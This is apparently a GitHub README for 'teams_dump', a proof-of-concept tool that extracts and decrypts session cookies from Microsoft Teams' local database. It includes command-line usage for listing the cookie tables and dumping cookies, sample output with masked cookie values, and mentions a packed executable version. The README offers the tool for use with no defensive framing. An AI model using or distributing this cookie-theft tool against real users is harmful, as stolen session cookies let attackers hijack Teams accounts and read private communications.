werwolfz / teams_dump

PoC for dumping and decrypting cookies in the latest version of Microsoft Teams

PoC for dumping and decrypting cookies in the latest version of Microsoft Teams

extract.py just dumps without arguments

extract.exe is just extract.py packed into an exe

teams_dump.py

List values in the database

python.exe .\teams_dump.py teams --list

Table: meta
Columns in meta: key, value
--------------------------------------------------
Table: cookies
Columns in cookies: creation_utc, host_key, top_frame_site_key, name, value, encrypted_value, path, expires_utc, is_secure, is_httponly, last_access_utc, has_expires, is_persistent, priority, samesite, source_scheme, source_port, is_same_party

Dump the database into a json file

python.exe .\teams_dump.py teams --get
[+] Host: teams.microsoft.com
[+] Cookie Name MUIDB
[+] Cookie Value: xxxxxxxxxxxxxx
 **************************************************
[+] Host: teams.microsoft.com
[+] Cookie Name TSREGIONCOOKIE
[+] Cookie Value: xxxxxxxxxxxxxx
 **************************************************